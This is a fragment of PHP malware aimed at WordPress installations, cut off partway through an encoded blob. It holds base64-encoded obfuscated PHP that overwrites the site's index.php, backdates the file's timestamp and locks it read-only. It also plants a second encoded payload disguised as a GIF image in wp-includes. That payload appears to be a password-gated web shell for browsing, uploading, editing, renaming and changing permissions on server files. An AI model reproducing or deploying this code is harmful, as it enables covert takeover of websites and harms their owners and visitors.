R2FJbTZGOiB9IGdvdG8gT3dTRDJJMDRjOVoySk5FZjsgSnpTaklQRFFfOUE4ZGE4bzogaWYgKCEoJF9TRVJWRVJbIlx4NTJcMTA1XHg1MVx4NTVceDQ1XDEyM1x4NTRceDVmXHg1NVx4NTJcMTExIl0gPT09ICJcNTdceDUyXDU1IiAuIG1kNSgkX1NFUlZFUlsiXHg1M1wxMDVcMTIyXDEyNlx4NDVceDUyXHg1Zlx4NGVcMTAxXDExNVwxMDUiXSkpKSB7IGdvdG8gaTlLZmRQSU9CT0FITEVlMDsgfSBnb3RvIFdHQmxPbm45NHJIOWlqZnA7IHF6aHdoNEZJc2FLZ0RqS1U6ICRqMXkxcHN6QW9lRnNhdU5iWyJceDczXHg2ZSJdID0gaU00akFoNklmNE03ZXpEQigkX1NFUlZFUlsiXHg1M1wxMDNceDUyXHg0OVwxMjBceDU0XHg1ZlwxMTZcMTAxXHg0ZFwxMDUiXSk7IGdvdG8gRnlNdE9CR2ZSOWhjTW1xbDsgRG1ibTFod3FiNWNIRjV1SDogJFpkVW1UV0VCdHlRV0VQM3AgPSAiXDE2MiIgLiAiXHg2MSIgLiAiXHg2ZSIgLiAiXHg2NyIgLiAiXDE0NSI7IGdvdG8gdndUQUVCNXk3NFRCc0JpdTsgTHZiQjFKdHBJZ0hCSnlHVzogJGhMZW55V190MkNqMUg2UXIgPSAnJzsgZ290byB3Yzdma1dCTGFOZkxyNXlJOyBxNzVvM2tsMlhIMnZ4YllaOiBGZXdpbHNiQ0VhYjNXeFJBOiBnb3RvIEdHZ3dLc2owWjJDSUUzSWE7IHJ1dEJPT3dVb3lzb1JkM0Q6IGlmICgkRlpMVFg3c3Y2WGFHSEUyOCkgeyBnb3RvIFpXcm9OV0tMb1VKaXoxWW47IH0gZ290byBvalVfUEs3czljT0RRRmlYOyBiendlRXlaMW4xbklNQXdhOiBNYm96emR4ek9CbVdSWnZQOiBnb3RvIHJ1dEJPT3dVb3lzb1JkM0Q7IE9Pb2U0bTJCNmFNZVBaWWs6IGlmICghKHN0cnBvcygkaExlbnlXX3QyQ2oxSDZRciwgJG1JOVhIbkZLOE9DTlNmRU4pID09PSAwKSkgeyBnb3RvIHJaMUExVWM3ZnU0ZVFmTDk7IH0gZ290byBMdmJCMUp0cElnSEJKeUdXOyB3Yzdma1dCTGFOZkxyNXlJOiByWjFBMVVjN2Z1NGVRZkw5OiBnb3RvIGoyU1NUSVFSaTJTYUlRMmo7IHlpTWhRVXc4aEE4aktoaVo6IFpXcm9OV0tMb1VKaXoxWW46Cj8+Cjw/cGhwIGRlZmluZSggJ1dQX1VTRV9USEVNRVMnLCB0cnVlICk7IHJlcXVpcmUoJy4vd3AtYmxvZy1oZWFkZXIucGhwJyk7Pz4=");
$index_code = file_get_contents($do."index.php");
if(md5($index_code) != md5($open_cache_ruzhu_phpcode))
{
    @chmod($do."index.php", 0644);
    @file_put_contents($do."index.php", $open_cache_ruzhu_phpcode);
    @touch($do."index.php", filectime($do."index.php"));
    @chmod($do."index.php", 0444);
}

$file_general_template_path = $do."wp-includes/general-template.php";
$jue_jiang_404_path = $do."wp-includes/images/xit-3x.gif";
if (!file_exists($jue_jiang_404_path)){
    $jue_jiang_404 = "PD9waHAKZXJyb3JfcmVwb3J0aW5nKDApOwpkYXRlX2RlZmF1bHRfdGltZXpvbmVfc2V0KCdQUkMnKTsKCiRBUlJBWSA9ICR7J19HRVQnfVsnQVJSQVknXTsKJEtKTW4gPSBzdHJfcm90MTMoJEFSUkFZKTsKJGNiSCA9IHBhY2soIlx4NDhceDJhIiwgJEtKTW4pOwokRXphVSA9IGpzb25fZGVjb2RlKCRjYkgsIHRydWUpOwppZiAoKCRFemFVWzBdIC0gdGltZSgpKSA+IDAgYW5kIG1kNShtZDUoJEV6YVVbMl0pKSA9PT0gIjlmMzQ2NjViMDA1MjMxMWQ1YjZhZDZmODIxZGM2MjI4IikgOiAvLyA9PT09Ci8vID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoKICAgIGZ1bmN0aW9uIGp1ZWppYW5nX3Blcm1zKCRmaWxlKXsKICAgICAgICAkcGVybXMgPSBmaWxlcGVybXMoJGZpbGUpOwogICAgICAgIGlmICgoJHBlcm1zICYgMHhDMDAwKSA9PSAweEMwMDApIHsvLyBTb2NrZXQKICAgICAgICAgICAgJGluZm8gPSAncyc7CiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweEEwMDApID09IDB4QTAwMCkgey8vIFN5bWJvbGljIExpbmsKICAgICAgICAgICAgJGluZm8gPSAnbCc7CiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDgwMDApID09IDB4ODAwMCkgey8vIFJlZ3VsYXIKICAgICAgICAgICAgJGluZm8gPSAnLSc7CiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDYwMDApID09IDB4NjAwMCkgey8vIEJsb2NrIHNwZWNpYWwKICAgICAgICAgICAgJGluZm8gPSAnYic7CiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDQwMDApID09IDB4NDAwMCkgey8vIERpcmVjdG9yeQogICAgICAgICAgICAkaW5mbyA9ICdkJzsKICAgICAgICB9IGVsc2VpZiAoKCRwZXJtcyAmIDB4MjAwMCkgPT0gMHgyMDAwKSB7Ly8gQ2hhcmFjdGVyIHNwZWNpYWwKICAgICAgICAgICAgJGluZm8gPSAnYyc7CiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDEwMDApID09IDB4MTAwMCkgey8vIEZJRk8gcGlwZQogICAgICAgICAgICAkaW5mbyA9ICdwJzsKICAgICAgICB9IGVsc2Ugey8vIFVua25vd24KICAgICAgICAgICAgJGluZm8gPSAndSc7CiAgICAgICAgfQovLyBPd25lcgogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMTAwKSA/ICdyJyA6ICctJyk7CiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwODApID8gJ3cnIDogJy0nKTsKICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA0MCkgPwogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDgwMCkgPyAncycgOiAneCcgKSA6CiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwODAwKSA/ICdTJyA6ICctJykpOwoKLy8gR3JvdXAKICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAyMCkgPyAncicgOiAnLScpOwogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDEwKSA/ICd3JyA6ICctJyk7CiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDgpID8KICAgICAgICAgICAgKCgkcGVybXMgJiAweDA0MDApID8gJ3MnIDogJ3gnICkgOgogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDQwMCkgPyAnUycgOiAnLScpKTsKCi8vIFdvcmxkCiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDQpID8gJ3InIDogJy0nKTsKICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwMikgPyAndycgOiAnLScpOwogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDAxKSA/CiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwMjAwKSA/ICd0JyA6ICd4JyApIDoKICAgICAgICAgICAgKCgkcGVybXMgJiAweDAyMDApID8gJ1QnIDogJy0nKSk7CgogICAgICAgIHJldHVybiAkaW5mbzsKICAgIH0KCi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQogICAgLyoqCiAgICAgKiDovazljJYgXCDkuLogLwogICAgICovCiAgICBmdW5jdGlvbiBkaXJfcGF0aCgkcGF0aCkKICAgIHsKICAgICAgICAkcGF0aCA9IHN0cl9yZXBsYWNlKCdcXCcsICcvJywgJHBhdGgpOwogICAgICAgIGlmIChzdWJzdHIoJHBhdGgsIC0xKSAhPSAnLycpICRwYXRoID0gJHBhdGggLiAnLyc7CiAgICAgICAgcmV0dXJuICRwYXRoOwogICAgfQoKLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgogICAgLyoqIOWPluW+l+ermeeCueagueebruW9lQogICAgICogQHJldHVybiBhcnJheXxzdHJpbmd8c3RyaW5nW10KICAgICAqLwogICAgZnVuY3Rpb24gZG9jdW1lbnRfcm9vdCgpewoKICAgICAgICAkcGhwX3NlbGYgPSBkaXJfcGF0aCgkX1NFUlZFUlsiUEhQX1NFTEYiXSk7CiAgICAgICAgJHNjcmlwdF9maWxlbmFtZSA9IGRpcl9wYXRoKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7CiAgICAgICAgaWYgKGVtcHR5KCRfU0VSVkVSWyJQSFBfU0VMRiJdKSBvciBlbXB0eSgkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pKXsKICAgICAgICAgICAgJGRvMSA9IGRpcl9wYXRoKCRfU0VSVkVSWyJET0NVTUVOVF9ST09UIl0pOwogICAgICAgICAgICAkZG8gPSBydHJpbSgkZG8xLCcvJyk7CiAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICRkbyA9IHN0cl9yZXBsYWNlKHN0cl9yZXBsYWNlKCIvLyIsICIvIiwgJHBocF9zZWxmKSwgIiIsIHN0cl9yZXBsYWNlKCJcXFxcIiwgIi8iLCAkc2NyaXB0X2ZpbGVuYW1lKSk7CiAgICAgICAgfQoJCWlmKGVtcHR5KCRkbykpICRkbyA9ICcvJzsKICAgICAgICByZXR1cm4gJGRvOwogICAgfQogICAgJGRvY3VtZW50X3Jvb3QgPSBkb2N1bWVudF9yb290KCk7CiAgICBkZWZpbmUoJ0RPQ1VNRU5UX1JPT1QnLCAkZG9jdW1lbnRfcm9vdCk7CgovLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KCgoKICAgICRwaHBfdmVyc2lvbiA9IFBIUF9NQUpPUl9WRVJTSU9OOwoJaWYoJHBocF92ZXJzaW9uPD03KXsKCQlpZihnZXRfbWFnaWNfcXVvdGVzX2dwYygpKXsKCQkJZm9yZWFjaCgkX1BPU1QgYXMgJGtleT0+JHZhbHVlKXsKCQkJCSRfUE9TVFska2V5XSA9IHN0cmlwc2xhc2hlcygkdmFsdWUpOwoJCQl9CgkJfQoJfQoKICAgICRWZXJzaW9uID0gYmFzZTY0X2RlY29kZSgnNXB5QTVaQ081NXFFNVlDVTVieTYnKTsKICAgIGlmKGlzc2V0KCRfR0VUWydwYXRoJ10pKXsKICAgICAgICAkcGF0aCA9ICRfR0VUWydwYXRoJ107CiAgICB9ZWxzZXsKICAgICAgICAkcGF0aCA9IGdldGN3ZCgpOwogICAgfQoKCiAgICBlY2hvICc8IWRvY3R5cGUgaHRtbD4KPGh0bWw+CjxoZWFkPgo8dGl0bGU+JkVycm9yXzQwNCY8L3RpdGxlPgo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1VVEYtOCIvPgo8L2hlYWQ+JzsKICAgID8+CgogICAgPGNlbnRlcj4KICAgICAgICA8c3R5bGU+CiAgICAgICAgICAgIGJvZHl7YmFja2dyb3VuZDojZTZlNmU2O2xpbmUtaGVpZ2h0OjE7Y29sb3I6IzAwMDtmb250LWZhbWlseTpDb21pYyBTYW5zIE1TO3dpZHRoOjYwJTttYXJnaW46MCBhdXRvO30KICAgICAgICAgICAgdGFibGUsdGgsdGR7Ym9yZGVyLWNvbGxhcHNlOmNvbGxhcHNlO2JhY2tncm91bmQ6dHJhbnNwYXJlbnQ7Zm9udC1zaXplOjEzcHg7fQogICAgICAgICAgICBpbnB1dCx0ZXh0YXJlYXt9CiAgICAgICAgICAgIC50YWJsZV9ob21lLC50aF9ob21lLC50ZF9ob21le2NvbG9yOmdyZXk7Ym9yZGVyOjFweCBzb2xpZCBncmV5O30KICAgICAgICAgICAgdGh7cGFkZGluZzoxMHB4O30KICAgICAgICAgICAgLnRkX2hvbWV7cGFkZGluZzo3cHg7fQogICAgICAgICAgICBhe2NvbG9yOiMwMDA7IHRleHQtZGVjb3JhdGlvbjpub25lO30KICAgICAgICAgICAgdGV4dGFyZWF7d2lkdGg6MTAwJTtoZWlnaHQ6NDAwcHg7fQogICAgICAgICAgICAjY29udGVudCB0cjpob3ZlcntiYWNrZ3JvdW5kLWNvbG9yOiNjZWNlY2U7dGV4dC1zaGFkb3c6MHB4IDBweCAxMHB4ICNmZmY7Y29sb3I6I2ZmZjt9CiAgICAgICAgICAgIC5kaCBheyBwYWRkaW5nLWxlZnQ6IDEwcHg7IHBhZGRpbmctcmlnaHQ6IDEwcHg7IGJvcmRlci1yaWdodDogMXB4IHNvbGlkICMwMDA7fQogICAgICAgICAgICAuZGggYTpob3ZlcnsgY29sb3I6ICNmMDA7fQogICAgICAgIDwvc3R5bGU+CiAgICA8P3BocAogICAgZWNobyAnPC9oZWFkPgo8Ym9keT48Yj4KPEgxPjxjZW50ZXI+PGZvbnQgY29sb3I9InJlZCI+Jy4kVmVyc2lvbi4nPC9mb250PjwvY2VudGVyPjwvaDE+Cjx0YWJsZSB3aWR0aD0iNzAwIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIzIiBjZWxsc3BhY2luZz0iMSIgYWxpZ249ImNlbnRlciI+Cgo8dHI+PHRkPgoKPGZvbnQgPjxjZW50ZXI+Jy5waHBfdW5hbWUoKS4nPC9jZW50ZXI+PC9mb250Pjxicj4nOwogICAgaWYoaXNzZXQoJF9HRVRbJ3BhdGgnXSkpewogICAgICAgICRwYXRoID0gJF9HRVRbJ3BhdGgnXTsKICAgIH1lbHNlewogICAgICAgICRwYXRoID0gZ2V0Y3dkKCk7CiAgICB9CiAgICAkcGF0aCA9IHN0cl9yZXBsYWNlKCdcXCcsJy8nLCRwYXRoKTsKICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCRwYXRoKTsKCiAgICAkZ2VuX2xpbmtfdXJsID0gJzxhIHN0eWxlPSJjb2xvcjojMDA2NkZGIiBocmVmPSI/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuRE9DVU1FTlRfUk9PVDsKICAgICRnZW5fbGlua191cmwgLj0gJyI+5qC555uu5b2VIO+8miAgICA8L2E+Jm5ic3A7JzsKICAgIGVjaG8gJGdlbl9saW5rX3VybDsKCiAgICBmb3JlYWNoKCRwYXRocyBhcyAkaWQ9PiRwYXQpewogICAgICAgIGlmKCRwYXQgPT0gJycgJiYgJGlkID09IDApewogICAgICAgICAgICAkYSA9IHRydWU7CiAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSMwMDA+CjxhIGhyZWY9Ij9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9LyI+LzwvYT4nOwogICAgICAgICAgICBjb250aW51ZTsKICAgICAgICB9CiAgICAgICAgaWYoJHBhdCA9PSAnJykgY29udGludWU7CiAgICAgICAgZWNobyAnPGEgc3R5bGU9ImNvbG9yOiMwMDY2RkYiIGhyZWY9Ij9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9JzsKICAgICAgICBmb3IoJGk9MDskaTw9JGlkOyRpKyspewogICAgICAgICAgICBlY2hvICIkcGF0aHNbJGldIjsKICAgICAgICAgICAgaWYoJGkgIT0gJGlkKSBlY2hvICIvIjsKICAgICAgICB9CiAgICAgICAgZWNobyAnIj4nLiRwYXQuJzwvYT4vJzsKICAgIH0KICAgIGVjaG8gJzwvZm9udD4KPGJyPjxicj4KPC90ZD48L3RyPjx0cj48dGQ+PGNlbnRlcj4nOwoKICAgIGlmKGlzc2V0KCRfRklMRVNbJ2ZpbGUnXSkpewogICAgICAgIGlmKGNvcHkoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddLCRwYXRoLicvJy4kX0ZJTEVTWydmaWxlJ11bJ25hbWUnXSkpewogICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPuS4iuS8oOaIkOWKnyA6KTwvZm9udD48YnIgLz48YnIgLz4nOwogICAgICAgIH1lbHNlewogICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7kuIrkvKDlpLHotKUgPC9mb250PjxiciAvPjxiciAvPic7CiAgICAgICAgfQogICAgfQogICAgZWNobyAnPC9jZW50ZXI+PGNlbnRlcj48Zm9ybSBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBtZXRob2Q9IlBPU1QiPjxmb250IGNvbG9yPSJ3aGl0ZSI+PGlucHV0IHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2ZvbnQtZmFtaWx5OiBDb21pYyBTYW5zIE1TICIgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZSIgLz4KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IuS4iuS8oCIgLz4KPC9mb3JtPjwvY2VudGVyPgo8L3RkPjwvdHI+JzsKICAgIGlmKGlzc2V0KCRfR0VUWydmaWxlc3JjJ10pKXsKICAgICAgICBlY2hvICI8dHI+PHRkPjxjZW50ZXI+5b2T5YmN5paH5Lu2IDogIjsKICAgICAgICBlY2hvICRfR0VUWydmaWxlc3JjJ107CiAgICAgICAgZWNobyAnPC9jZW50ZXI+PC90cj48L3RkPjwvdGFibGU+PGJyIC8+JzsKICAgICAgICBlY2hvKCcgPHRleHRhcmVhIHN0eWxlPSJ3aWR0aDogMTAwJTtoZWlnaHQ6IDQwMHB4OyIgcmVhZG9ubHk+ICcuaHRtbHNwZWNpYWxjaGFycyhmaWxlX2dldF9jb250ZW50cygkX0dFVFsnZmlsZXNyYyddKSkuJzwvdGV4dGFyZWE+Jyk7CiAgICB9Ci8vRW1wZXR5CiAgICBlbHNlaWYoaXNzZXQoJF9HRVRbJ29wdGlvbiddKSAmJiAkX0dFVFsnb3B0J10gIT0gJ2RlbGV0ZScpewovLyBlY2hvICc8L3RhYmxlPjxiciAvPjxjZW50ZXI+Jy4kX1BPU1RbJ3BhdGgnXS4nPGJyIC8+PGJyIC8+JzsKICAgICAgICBlY2hvICc8L3RhYmxlPjxiciAvPjxjZW50ZXI+JzsKLy9DaG1vZAogICAgICAgIGlmKCRfR0VUWydvcHQnXSA9PSAnY2htb2QnKXsKICAgICAgICAgICAgaWYoaXNzZXQoJF9QT1NUWydwZXJtJ10pKXsKICAgICAgICAgICAgICAgICRuZXdfcGVybV9vID0gJF9QT1NUWydwZXJtJ107CgogICAgICAgICAgICAgICAgaWYoc3RybGVuKCRuZXdfcGVybV9vKTw9MykgJG5ld19wZXJtX289c3RyX3BhZCgkbmV3X3Blcm1fbywzLCc2JyxTVFJfUEFEX0xFRlQpOwogICAgICAgICAgICAgICAgJG5ld19wZXJtX289aW50dmFsKHN0cl9wYWQoJG5ld19wZXJtX28sNCwnMCcsU1RSX1BBRF9MRUZUKSw4KTsKCiAgICAgICAgICAgICAgICBpZihjaG1vZCgkX1BPU1RbJ3BhdGgnXSwkbmV3X3Blcm1fbykpewogICAgICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+5pu05pS55p2D6ZmQ5oiQ5Yqf77yBIDwvZm9udD48YnIgLz4nOwogICAgICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+5pu05pS55p2D6ZmQ6ZSZ6K+v77yBIDwvZm9udD48YnIgLz4nOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CgogICAgICAgICAgICAkaGVsbCA9ICRfR0VUWydwYXRoJ107CiAgICAgICAgICAgICR5ZWFoID0gJF9HRVRbJ25hbWUnXTsKICAgICAgICAgICAgJHBhdGMgPSAiJGhlbGwvJHllYWgiOwoKICAgICAgICAgICAgZWNobyAnPGZvcm0gbWV0aG9kPSJQT1NUIj48YnI+CuW9k+WJjeaWh+S7tiA6ICcuJHBhdGMuJzxicj48YnI+5p2D6ZmQLS0tLScuc3Vic3RyKGJhc2VfY29udmVydChAZmlsZXBlcm1zKCRwYXRjKSwxMCw4KSwtNCkuJzxicj48YnI+Cuiuvue9ruaWsOadg+mZkCA6IDxpbnB1dCBuYW1lPSJwZXJtIiB0eXBlPSJ0ZXh0IiBzaXplPSI0IiB2YWx1ZT0iJy5zdWJzdHIoc3ByaW50ZignJW8nLCBmaWxlcGVybXMoJHBhdGMpKSwgLTQpLiciIC8+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRwYXRjLiciPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJjaG1vZCI+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIC8+CjwvZm9ybT4KPGJyPgo8YSBocmVmPSI/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJGhlbGwuJyIgc3R5bGU9ImRpc3BsYXk6YmxvY2s7IHdpZHRoOjEwMCU7IiB0aXRsZT0i5Y+N5ZueIj7lj43lm548L2E+Cic7CgogICAgICAgIH0KLy8KICAgICAgICBlbHNlaWYoJF9HRVRbJ29wdCddID09ICdidHcnKXsKICAgICAgICAgICAgJGN3ZCA9ICRfR0VUWydwYXRoJ107CgogICAgICAgICAgICBlY2hvICc8Zm9ybSBhY3Rpb249Ij9BUlJBWT0nLiRBUlJBWS4nJm9wdGlvbiZwYXRoPScuJGN3ZC4nJm9wdD1kZWxldGUmdHlwZT1idWF0IiBtZXRob2Q9IlBPU1QiPgrmlrDnm67lvZXlkI0gOiA8aW5wdXQgbmFtZT0ibmFtZSIgdHlwZT0idGV4dCIgc2l6ZT0iMjAiIHZhbHVlPSJGb2xkZXIiIC8+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRjd2QuJyI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9ImRlbGV0ZSI+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIC8+CjwvZm9ybT4nOwogICAgICAgIH0KLy9SZW5hbWUgZmlsZQogICAgICAgIGVsc2VpZigkX0dFVFsnb3B0J10gPT0gJ3JlbmFtZScpewogICAgICAgICAgICBpZihpc3NldCgkX1BPU1RbJ25ld25hbWUnXSkpewogICAgICAgICAgICAgICAgaWYocmVuYW1lKCRfUE9TVFsncGF0aCddLCRwYXRoLicvJy4kX1BPU1RbJ25ld25hbWUnXSkpewogICAgICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+6YeN5ZG95ZCN5oiQ5YqfISA6KTwvZm9udD48YnIgLz48YnIgLz4nOwogICAgICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+6YeN5ZG95ZCN5aSx6LSlISA6KCA8L2ZvbnQ+PGJyIC8+PGJyIC8+JzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICRfUE9TVFsnbmFtZSddID0gJF9QT1NUWyduZXduYW1lJ107CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJGhlbGwgPSAkX0dFVFsncGF0aCddOwogICAgICAgICAgICAkeWVhaCA9ICRfR0VUWyduYW1lJ107CiAgICAgICAgICAgICRwYXRjID0gIiRoZWxsLyR5ZWFoIjsKICAgICAgICAgICAgJG5ldyA9ICRfUE9TVFsnbmV3bmFtZSddOwoKICAgICAgICAgICAgZWNobyAnPGZvcm0gbWV0aG9kPSJQT1NUIj4K5paw5ZCN56ewIDogPGlucHV0IG5hbWU9Im5ld25hbWUiIHR5cGU9InRleHQiIHNpemU9IjIwIiB2YWx1ZT0iJy4kbmV3LiciIC8+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRwYXRjLiciPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJyZW5hbWUiPgo8aW5wdXQgdHlwZT0ic3VibWl0IiAvPjxicj48YnI+CjxpbnB1dCB0eXBlPSJidXR0b24iIHZhbHVlPSLlj43lm54iIG9uQ2xpY2s9ImphdmFzY3JpcHQ6bG9jYXRpb24uaHJlZj1cJz9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9Jy4kaGVsbC4nXCciPgo8L2Zvcm0+JzsKICAgICAgICB9Ci8vRmlsZSBiYXJ1CiAgICAgICAgZWxzZWlmKCRfR0VUWydvcHQnXSA9PSAnYmFydScpewoKICAgICAgICAgICAgJGhlbGwgPSAkX0dFVFsncGF0aCddOwogICAgICAgICAgICAkeWVhaCA9ICRfR0VUWyduYW1lJ107CiAgICAgICAgICAgICRwYXRjID0gIiRoZWxsLyR5ZWFoIjsKICAgICAgICAgICAgJG5ldyA9IGVtcHR5KCRfUE9TVFsnbmV3bmFtZSddKT8kX1BPU1RbJ25nYXJhbjEnXTokX1BPU1RbJ25ld25hbWUnXTsKICAgICAgICAgICAgJGF6eiA9ICRfUE9TVFsncGF0aCddOwogICAgICAgICAgICAkbmV3eiA9ICRhenouIi8iLiRuZXc7CiAgICAgICAgICAgICRuZXdfZmllbCA9ICRoZWxsLicvJy4kX1BPU1RbJ25nYXJhbjEnXTsKICAgICAgICAgICAgaWYoIWVtcHR5KCRfUE9TVFsnbmdhcmFuMSddKSkgZWNobyAi5q2j5Zyo5paw5bu65paH5Lu277yaeyRuZXdfZmllbH08YnI+PGJyPiI7CiAgICAgICAgICAgIGlmKGlzc2V0KCRfUE9TVFsnc3JjJ10pKXsKICAgICAgICAgICAgICAgICRmcCA9IGZvcGVuKCRfUE9TVFsncGF0aCddLCd3Jyk7CiAgICAgICAgICAgICAgICBpZihmd3JpdGUoJGZwLCRfUE9TVFsnc3JjJ10pKXsKICAgICAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPuaWsOW7uuaWh+S7tuaIkOWKnyBbICcuJGF6ei4nIF08L2ZvbnQ+PGJyIC8+PGJyIC8+JzsKICAgICAgICAgICAgICAgIH1lbHNlewogICAgICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPuaWsOW7uuaWh+S7tuWksei0pSA+Oig8L2ZvbnQ+PGJyIC8+PGJyIC8+JzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGZjbG9zZSgkZnApOwogICAgICAgICAgICB9CgogICAgICAgICAgICBlY2hvICc8Zm9ybSBtZXRob2Q9IlBPU1QiPiDmlrDmlofku7blkI0gOiA8aW5wdXQgbmFtZT0ibmdhcmFuMSIgdHlwZT0idGV4dCIgc2l6ZT0iMjAiIHZhbHVlPSInLiRuZXcuJyIgLz48aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJuZ2FyYW4iIC8+PC9mb3JtPjxicj4gJzsKCiAgICAgICAgICAgICRobyA9ICRfUE9TVFsnbmdhcmFuMSddOwoKICAgICAgICAgICAgaWYoaXNzZXQoJF9QT1NUWyduZ2FyYW4nXSkpewogICAgICAgICAgICAgICAgZWNobyAnPGZvcm0gbWV0aG9kPSJQT1NUIj4KPHRleHRhcmVhIGNvbHM9ODAgcm93cz0yMCBuYW1lPSJzcmMiPicuaHRtbHNwZWNpYWxjaGFycyhmaWxlX2dldF9jb250ZW50cygkcGF0YykpLic8L3RleHRhcmVhPjxiciAvPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kaGVsbC4nLycuJGhvLiciPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJlZGl0Ij4KPGlucHV0IHR5cGU9InN1Ym1pdCIgIC8+CjwvZm9ybT4nOwogICAgICAgICAgICB9CiAgICAgICAgfQovL0VkaXRlZCBmaWxlCiAgICAgICAgZWxzZWlmKCRfR0VUWydvcHQnXSA9PSAnZWRpdCcpewogICAgICAgICAgICBpZihpc3NldCgkX1BPU1RbJ3NyYyddKSl7CiAgICAgICAgICAgICAgICAkZnAgPSBmb3BlbigkX1BPU1RbJ3BhdGgnXSwndycpOwogICAgICAgICAgICAgICAgaWYoZndyaXRlKCRmcCwkX1BPU1RbJ3NyYyddKSl7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj7nvJbovpHmiJDlip/vvIEgPC9mb250PjxiciAvPjxiciAvPic7CiAgICAgICAgICAgICAgICB9ZWxzZXsKICAgICAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7nvJbovpHlpLHotKXvvIE8L2ZvbnQ+PGJyIC8+PGJyIC8+JzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGZjbG9zZSgkZnApOwogICAgICAgICAgICB9CiAgICAgICAgICAgICRoZWxsID0gJF9HRVRbJ3BhdGgnXTsKICAgICAgICAgICAgJHllYWggPSAkX0dFVFsnbmFtZSddOwogICAgICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7CiAgICAgICAgICAgIGVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+Cjx0ZXh0YXJlYSBjb2xzPTgwIHJvd3M9MjAgbmFtZT0ic3JjIj4nLmh0bWxzcGVjaWFsY2hhcnMoZmlsZV9nZXR